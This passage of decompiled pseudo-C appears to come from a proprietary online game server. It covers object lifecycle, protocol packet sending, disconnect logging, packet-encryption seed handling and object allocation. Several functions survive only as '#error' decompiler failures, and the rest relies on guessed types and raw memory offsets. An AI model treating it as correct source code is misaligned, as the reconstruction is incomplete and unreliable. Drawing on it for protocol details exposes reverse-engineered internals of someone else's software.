*(_DWORD *)(a2 + 34); *(_DWORD *)(this + 38) = *(_DWORD *)(a2 + 38); *(_DWORD *)(this + 42) = *(_DWORD *)(a2 + 42); *(_WORD *)(this + 46) = *(_WORD *)(a2 + 46); return result; } //----- (004F85F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDoor::_ShineDoor(ShineObjectClass::ShineDoor *this) { *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineDoor::_vftable_; ShineObjectClass::ShineMobileObject::_ShineMobileObject((int)this); } // 5CFE20: using guessed type int (*ShineObjectClass__ShineDoor___vftable_)(); //----- (004F8600) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMagicField::ShineMagicField(ShineObjectClass::ShineMagicField *this) { ShineObjectClass::ShineMagicField *v1; // esi@1 v1 = this; ShineObjectClass::ShineObject::ShineObject((int)this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineMagicField::_vftable_; BriefInformationMagicField::BriefInformationMagicField(&v1->smfm_MagicFieldBriefInfo); Metronome::Metronome(&v1->smfm_Tick); *(_DWORD *)&v1->gap0[78] = (char *)v1->smfm_MagicFieldBriefInfo.bimfm_BriefInfo + 6; *(_DWORD *)&v1->gap0[82] = &unk_124D25D0; } // 5CE188: using guessed type int (*ShineObjectClass__ShineMagicField___vftable_)(); //----- (004F8670) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::_ShineMiniHouse(ShineObjectClass::ShineMiniHouse *this) { int v1; // esi@1 v1 = (int)this; *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineMiniHouse::_vftable_; ShineObjectClass::ShineMiniHouse::MiniHouseInven::_MiniHouseInven(&this->smh_Furniture); ShineObjectClass::ShineObject::_ShineObject(v1); } // 5D0958: using guessed type int (*ShineObjectClass__ShineMiniHouse___vftable_)(); //----- (004F86D0) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineMiniHouse::GetRTTI(ShineObjectClass::ShineMiniHouse *this) { return &ShineObjectClass::ShineMiniHouse::m_RTTI; } //----- (004F86E0) -------------------------------------------------------- #error "4F86E0: undefined or illegal type '#325' (funcsize=16)" //----- (004F8710) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_RemakeHandle(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 handle) { ShineObjectClass::ShineMiniHouse *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 8 * handle | 6; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 8 * handle | 6; } //----- (004F8750) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_FillBriefInformation(ShineObjectClass::ShineMiniHouse *this, void *array) { PROTO_NC_BRIEFINFO_MINIHOUSEBUILD_CMD::operator_((int)array, (int)this->smh_BriefInfo.bimh_BriefInfo); } //----- (004F8770) -------------------------------------------------------- int __thiscall PROTO_NC_BRIEFINFO_MINIHOUSEBUILD_CMD::operator_(int this, int a2) { int result; // eax@1 int v3; // edx@1 signed int v4; // edi@1 result = this; *(_WORD *)this = *(_WORD *)a2; *(_DWORD *)(this + 2) = *(_DWORD *)(a2 + 2); *(_DWORD *)(this + 6) = *(_DWORD *)(a2 + 6); *(_DWORD *)(this + 10) = *(_DWORD *)(a2 + 10); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_DWORD *)(this + 26) = *(_DWORD *)(a2 + 26); *(_DWORD *)(this + 30) = *(_DWORD *)(a2 + 30); *(_DWORD *)(this + 34) = *(_DWORD *)(a2 + 34); *(_BYTE *)(this + 38) = *(_BYTE *)(a2 + 38); v3 = this + 39; v4 = 21; do { *(_BYTE *)v3 = *(_BYTE *)(a2 - this + v3); ++v3; --v4; } while ( v4 ); return result; } //----- (004F87E0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::Selector::Selector(MobTacticElement::MobActionArgument::Selector *this) { MobTacticElement::MobActionArgument::Selector *v1; // esi@1 v1 = this; MobAggroManager::MobAggroManager(&this->targetlist); MobTargetBout::MobTargetBout(&v1->bout); MobTargetAggresive::MobTargetAggresive(&v1->aggresive); MobTargetNoBrain::MobTargetNoBrain(&v1->nobrain); MobTargetAggresive2::MobTargetAggresive2(&v1->aggresive2); MobTargetAggresive::MobTargetAggresive(&v1->aggresiveall.baseclass_0); v1->aggresiveall.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresiveALL::_vftable_; MobTargetAggresive::MobTargetAggresive(&v1->aggresiveNoLevel.baseclass_0); v1->aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresiveNoLevel::_vftable_; } // 5CC120: using guessed type int (__thiscall *MobTargetAggresiveALL___vftable_)(MobTargetAggresive *this, #325 *, #325 *, int distancesquar); // 5CEBF4: using guessed type int (__thiscall *MobTargetAggresiveNoLevel___vftable_)(MobTargetAggresive *this, #325 *, #325 *, int distancesquar); //----- (004F8890) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::Selector::_Selector(MobTacticElement::MobActionArgument::Selector *this) { MobTacticElement::MobActionArgument::Selector *v1; // esi@1 v1 = this; MobTargetAggresive::_MobTargetAggresive(&this->aggresiveNoLevel.baseclass_0); v1->aggresiveall.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresiveALL::_vftable_; MobTargetAggresive::_MobTargetAggresive(&v1->aggresiveall.baseclass_0); MobTargetAggresive2::_MobTargetAggresive2(&v1->aggresive2); MobTargetBout::_MobTargetBout(&v1->nobrain); MobTargetAggresive::_MobTargetAggresive(&v1->aggresive); MobTargetBout::_MobTargetBout((MobTargetNoBrain *)&v1->bout); MobAggroManager::_MobAggroManager(&v1->targetlist); } // 5CC120: using guessed type int (__thiscall *MobTargetAggresiveALL___vftable_)(MobTargetAggresive *this, #325 *, #325 *, int distancesquar); //----- (004F8940) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SendProtocol(void *this, __int16 depart, __int16 command) { void *v3; // esi@1 int v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendProtocol"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SendProtocol"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = (depart << 10) ^ command & 0x3FF; ProtocolPacket::pp_SetPacketLen(&gpp, 2); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendProtocol"); } //----- (004F8A10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SendErrorCode(void *this, __int16 depart, __int16 command, __int16 err) { void *v4; // esi@1 int v5; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendErrorCode"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SendErrorCode"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S82 & 1) ) { _S82 |= 1u; errorpacket.pp_Buffer = 0; errorpacket.pp_PacketLength = 0; atexit(_E83_0); } errorpacket.pp_Buffer = errorbuffer; errorpacket.pp_BufferSize = 64; *(_WORD *)errorbuffer = (command ^ ((depart << 10) | *(_WORD *)errorbuffer & 0x3FF)) & 0x3FF ^ ((depart << 10) | *(_WORD *)errorbuffer & 0x3FF); *(_WORD *)&errorbuffer[2] = err; ProtocolPacket::pp_SetPacketLen(&errorpacket, 4); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v4, &errorpacket); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendErrorCode"); } //----- (004F8B50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_allparametercalculate(void *this) { int v1; // esi@1 unsigned __int8 v2; // al@1 int v3; // eax@2 int v4; // [sp-4h] [bp-18h]@0 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_allparametercalculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_allparametercalculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(_BYTE *)(v1 + 32118) >> 2) & 0x1F; if ( v2 >= 0x20u ) v3 = (int)&charclassmanager; else v3 = (int)charclassmanager.ccm_array[v2]; *(_DWORD *)(v1 + 4004) = v3; Parameter::Container::c_Storepure((void *)(v1 + 4008), v3, v1, v4); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 860))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 864))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 868))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 872))(v1); Parameter::Container::c_MakeTotal((void *)(v1 + 4008)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_allparametercalculate"); } //----- (004F8C50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_BroadcastLogout(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_BroadcastLogout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_BroadcastLogout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)((char *)v1 + 98) ) ShineObjectClass::ShineObject::so_Logout(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_BroadcastLogout"); } //----- (004F8CF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Disconnect(void *this, int reason, int when, int signal2WMS) { void *v4; // esi@1 char *v5; // edi@4 ZoneBaseSession *v6; // eax@6 unsigned int v7; // eax@7 char *v8; // eax@7 char *v9; // ST04_4@7 DebugLogging *v10; // eax@7 DebugLogging *v11; // eax@7 DebugLogging *v12; // edi@7 _iobuf *v13; // eax@9 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Disconnect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_Disconnect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( reason != 1665 ) AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_Disconnect", reason); if ( !signal2WMS ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 3098; *((_WORD *)v5 + 1) = -1; *((_DWORD *)v5 + 1) = -1; *((_WORD *)v5 + 7) = reason; *((_DWORD *)v5 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); *((_WORD *)v5 + 6) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 832))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_Disconnect : Packet Too Long", 16); } } v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)((char *)v4 + 32025); *((_DWORD *)v8 + 1) = *(_DWORD *)((char *)v4 + 32029); *((_DWORD *)v8 + 2) = *(_DWORD *)((char *)v4 + 32033); v9 = v8; *((_DWORD *)v8 + 3) = *(_DWORD *)((char *)v4 + 32037); v8[16] = 0; v10 = DebugLogging::operator<<(&MoreDisconnectLog, "Char so_Disconnect "); v11 = DebugLogging::operator<<(v10, v9); v12 = DebugLogging::operator<<(v11, (char *)&stru_5A4E3C); if ( DebugLogging::dl_ActivAll ) { if ( v12->dl_Activ ) { DebugLogging::dl_FilePoint(v12); v13 = v12->dl_FilePointer; if ( v13 ) fprintf(v13, "%d"); } } DebugLogging::operator<<(v12, &deb_LF); (*(void (__thiscall **)(void *, int))(*(_DWORD *)v4 + 1468))(v4, when); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Disconnect"); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004F8ED0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_EncSeedSet(void *this) { void *v1; // esi@1 int v2; // ecx@1 int v3; // edx@3 int v4; // esi@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_EncSeedSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_EncSeedSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = seed++ + 1; if ( seed >= PacketEncrypt::pe_encryptlen ) { v2 = 0; seed = 0; } v3 = (unsigned __int16)v2 % PacketEncrypt::pe_encryptlen; *((_WORD *)v1 + 15920) = v3; *((_WORD *)v1 + 15921) = v3; v4 = v2; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_EncSeedSet"); return v4; } // 5E80D4: using guessed type int PacketEncrypt__pe_encryptlen; //----- (004F8F60) -------------------------------------------------------- void __thiscall ShineObjectEachList::_ShineObjectEachList(ShineObjectEachList *this) { void *v1; // ecx@1 this->baseclass_0.vfptr = (ListVtbl *)ShineObjectEachList::_vftable_; v1 = this->baseclass_0.l_Array; if ( v1 ) operator delete__(v1); } // 5CECF8: using guessed type int (__stdcall *ShineObjectEachList___vftable_[3])(__int16 hnd); //----- (004F8F80) -------------------------------------------------------- char __thiscall ShineObjectEachList::soel_Routine(ShineObjectEachList *this, List *lst, unsigned __int16 handle) { ShineObjectEachList *v3; // esi@1 char v4; // bl@4 int v5; // ST0C_4@8 DebugLogging *v6; // eax@8 DebugLogging *v7; // eax@8 DebugLogging *v8; // eax@8 DebugLogging *v9; // eax@8 DebugLogging *v10; // eax@8 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectEachList::soel_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectEachList::soel_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ShineObjectClass::ShinePlayer::sp_Turtle ) { Sleep(ShineObjectClass::ShinePlayer::sp_Turtle); if ( ShineObjectClass::ShinePlayer::sp_Turtle < 0x2710u ) ++ShineObjectClass::ShinePlayer::sp_Turtle; } v4 = List::l_4AllInList( &v3->baseclass_0, (char (__thiscall *)(#325 *, List *, unsigned __int16))_vcall_); if ( !v4 ) ++v3->nListNoCount; if ( v3->nNextRecordTime < clockwatch.cw_CurrTick ) { if ( v3->nListNoCount > 0 ) { v5 = v3->nListNoCount; v6 = DebugLogging::operator<<(&ShineObjectHandleLog, "ShineObjectEachList::soel_Routine - ObjectType["); v7 = DebugLogging::operator<<(v6, 0); v8 = DebugLogging::operator<<(v7, "] LISTNO Count["); v9 = DebugLogging::operator<<(v8, v5); v10 = DebugLogging::operator<<(v9, (char *)&stru_5A8D60); DebugLogging::operator<<(v10, &deb_LF); v3->nListNoCount = 0; } v3->nNextRecordTime = clockwatch.cw_CurrTick + 600; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectEachList::soel_Routine"); return v4; } // 651180: using guessed type unsigned __int16 ShineObjectClass__ShinePlayer__sp_Turtle; //----- (004F90D0) -------------------------------------------------------- #error "4F90D0: undefined or illegal type '#434' (funcsize=257)" //----- (004F93B0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineDoor::_vector_deleting_destructor_(ShineObjectClass::ShineDoor *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x1D48u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineDoor::_ShineDoor); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineDoor::_ShineDoor(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004F9410) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMiniHouse::_vector_deleting_destructor_(ShineObjectClass::ShineMiniHouse *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0xCFF8u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineMiniHouse::_ShineMiniHouse); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineMiniHouse::_ShineMiniHouse(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004F9470) -------------------------------------------------------- #error "4F9470: undefined or illegal type '#325' (funcsize=55)" //----- (004F9560) -------------------------------------------------------- #error "4F9560: undefined or illegal type '#325' (funcsize=64)" //----- (004F9660) -------------------------------------------------------- #325 *__thiscall ShineObjectManager::som_AllocObject(ShineObjectManager *this, unsigned __int16 *hnd, unsigned __int16 type) { ShineObjectManager *v3; // esi@1 AbnormalStateContainer::AbstateElementInObject *v4; // eax@2 void (__thiscall *v5)(ShineObjectHandleUnion *, unsigned __int16); // edi@2 #325 *v6; // esi@13 #325 *result; // eax@13 ShineObjectHandleUnion hndunion; // [sp+0h] [bp-14h]@13 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v10; // [sp+10h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectManager::som_AllocObject"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectManager::som_AllocObject"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectManager::som_AllocObject"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; switch ( type ) { case 0u: v4 = List::l_AllocationZ( (List *)&v3->som_AxialFlag, &type); v5 = ShineObjectHandleUnion::sohu_SetAxialHandle; goto LABEL_13; case 1u: v4 = List::l_AllocationZ( (List *)&v3->som_DropItem, &type); v5 = ShineObjectHandleUnion::sohu_SetDropItemHandle; goto LABEL_13; case 2u: v4 = List::l_AllocationZ( (List *)&v3->som_Player, &type); v5 = ShineObjectHandleUnion::sohu_SetPlayerHandle; goto LABEL_13; case 4u: v4 = List::l_AllocationZ( (List *)&v3->som_NPC, &type); v5 = ShineObjectHandleUnion::sohu_SetNPCHandle; goto LABEL_13; case 7u: v4 = List::l_AllocationZ( (List *)&v3->som_Door, &type); v5 = ShineObjectHandleUnion::sohu_SetDoorHandle; goto LABEL_13; case 5u: v4 = List::l_AllocationZ( (List *)&v3->som_Mob, &type); v5 = ShineObjectHandleUnion::sohu_SetMobHandle; goto LABEL_13; case 8u: v4 = List::l_AllocationZ( (List *)&v3->som_Bandit, &type); v5 = ShineObjectHandleUnion::sohu_SetBanditHandle; goto LABEL_13; case 9u: v4 = List::l_AllocationZ( (List *)&v3->som_Effect, &type); v5 = ShineObjectHandleUnion::sohu_SetEffectHandle; goto LABEL_13; case 6u: v4 = List::l_AllocationZ( (List *)&v3->som_MagicField, &type); v5 = ShineObjectHandleUnion::sohu_SetMagicFieldHandle; goto LABEL_13; case 3u: v4 = List::l_AllocationZ( (List *)&v3->som_MiniHouse, &type); v5 = ShineObjectHandleUnion::sohu_SetMiniHouseHandle; goto LABEL_13; case 0xAu: v4 = List::l_AllocationZ( (List *)&v3->som_Servant, &type); v5 = ShineObjectHandleUnion::sohu_SetServantHandle; LABEL_13: v6 = (#325 *)v4; MoveManager::MoveManager((DiceTaiSai *)&hndunion); LOBYTE(v10) = 1; v5(&hndunion, type); *hnd = hndunion.sohu_Handle; LOBYTE(v10) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&hndunion); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectManager::som_AllocObject"); result = v6; break; default: AssertClass::ac_AssertFail(&shineassert, "ShineObjectList::pl_allocobject", type); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectManager::som_AllocObject"); result = 0; break; } return result; } //----- (004F98B0) -------------------------------------------------------- #error "4F98B0: undefined or illegal type '#325' (funcsize=48)" //----- (004F9980) -------------------------------------------------------- #error "4F9980: undefined or illegal type '#325' (funcsize=65)" //----- (004F9A80) -------------------------------------------------------- #error "4F9A80: undefined or illegal type '#325' (funcsize=43)" //----- (004F9B50) -------------------------------------------------------- #error "4F9B50: undefined or illegal type '#325' (funcsize=43)" //----- (004F9C20) -------------------------------------------------------- #error "4F9C20: undefined or illegal type '#325' (funcsize=43)" //----- (004F9CF0) -------------------------------------------------------- void __thiscall SlantedCoordList::CoordedNode::cn_Reset(SlantedCoordList::CoordedNode *this) { SlantedCoordList::CoordedNode *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_Reset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlantedCoordList::CoordedNode::cn_Reset"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->cn_next = v1; v1->cn_prev = v1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_Reset"); } //----- (004F9D50) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineDoor::so_door_DoorAction(ShineObjectClass::ShineDoor *this, char *blockfile, MapBlock::DoorAction da) { ShineObjectClass::ShineDoor *v3; // esi@1 int v4; // ST00_4@1 char *v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_DoorAction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDoor::so_door_DoorAction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->sd_DoorBriefInfo.bid_BriefInfo->doorstate = da; v4 = (int)&v3->sd_DoorBriefInfo.bid_BriefInfo->blockindex; v8 = 0; *(_DWORD *)(v4 + 28) = 0; *(_DWORD *)(v4 + 24) = 0; *(_DWORD *)(v4 + 20) = 0; *(_DWORD *)(v4 + 16) = 0; *(_DWORD *)(v4 + 12) = 0; *(_DWORD *)(v4 + 8) = 0; *(_DWORD *)(v4 + 4) = 0; *(_DWORD *)v4 = 0; strncpy((char *)v4, blockfile, 0x20u); MapBlock::MapBlockInformation::mbi_DoorAction( *(MapBlock::MapBlockInformation **)(*(_DWORD *)&v3->gap0[98] + 20), &v3->sd_DoorBriefInfo.bid_BriefInfo->blockindex, da); v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27657; *((_WORD *)v5 + 1) = *(_WORD *)&v3->gap0[4]; v5[4] = da; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); LOBYTE(v8) = 1; ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&alchat, 0); LOBYTE(v8) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_DoorAction"); return 1; } //----- (004F9E90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::so_bandit_ChangeType(ShineObjectClass::ShineBandit *this, char newtype) { ShineObjectClass::ShineBandit *v2; // esi@1 char *v3; // eax@1 __int16 v4; // dx@1 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v6; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineBandit::so_bandit_ChangeType"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineBandit::so_bandit_ChangeType"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->sb_MobBriefInfo.bic_BriefInfo->type = newtype; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27659; v4 = *(_WORD *)&v2->gap0[4]; v3[4] = newtype; v6 = 0; *((_WORD *)v3 + 1) = v4; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); LOBYTE(v6) = 1; ShineObjectClass::ShineObject::so_AllInMap(v2, (int)&alchat, 0); LOBYTE(v6) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineBandit::so_bandit_ChangeType"); } //----- (004F9F80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebp@1 __int16 v5; // ax@1 char *v6; // ebx@1 __int16 v7; // ax@1 int v8; // ebp@1 int v9; // edx@2 int v10; // eax@2 int v11; // esi@2 ZoneBaseSession *v12; // eax@4 void *v13; // [sp+4h] [bp-8Ch]@1 __int16 nc; // [sp+8h] [bp-88h]@1 ItemTotalInformation iti; // [sp+10h] [bp-80h]@2 unsigned int v16; // [sp+80h] [bp-10h]@5 int v17; // [sp+8Ch] [bp-4h]@1 v4 = this; v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (signed __int16)gpp.pp_Buffer; v6 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 2066; memcpy(v6, (const void *)(netcmd + 2), 0x4Cu); nc = v5; v7 = *((_WORD *)v4 + 2); v17 = 0; *((_WORD *)v6 + 6) = v7; *(_DWORD *)(v6 + 26) = timeGetTime(); v8 = (**((int (__stdcall ***)(_DWORD))v4 + 8884))(0); if ( *(_WORD *)(v8 + 8) == 2505 ) { *((_WORD *)v6 + 26) = 0; *(_DWORD *)(v6 + 54) = *(_DWORD *)v8; v9 = *(_DWORD *)(v8 + 4); *((_DWORD *)v6 + 17) = 0; *((_DWORD *)v6 + 18) = 0; *(_DWORD *)(v6 + 58) = v9; *((_WORD *)v6 + 33) = 2505; *((_WORD *)v6 + 32) = 9216; *((_WORD *)v6 + 31) = (_WORD)v6 + 76 - nc - 2; *((_WORD *)v6 + 23) = *((_WORD *)v13 + 2); *((_DWORD *)v6 + 12) = (*(int (**)(void))(*(_DWORD *)v13 + 836))(); memcpy(&iti, (const void *)v8, 0x6Cu); *(_WORD *)((char *)&iti.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(v8 + 108); BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v8 + 110); v10 = (*(int (__stdcall **)(int))(**(_DWORD **)(v8 + 112) + 24))(v8 + 8); (*(void (__stdcall **)(SHINE_ITEM_STRUCT *, int))(**(_DWORD **)(v8 + 112) + 28))(&iti.iti_itemstruct, v10 + 1); v11 = ItemTotalInformation::iti_fill2buffer_atrib(&iti, *(ItemAttributeClass **)(v8 + 112), 0x9C9u, v6 + 76) - (v6 + 76) + 78; *(_DWORD *)(v6 + 14) = timeGetTime(); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v11) ) { v12 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v12); } else { AssertClass::ac_AssertFail( &shineassert, 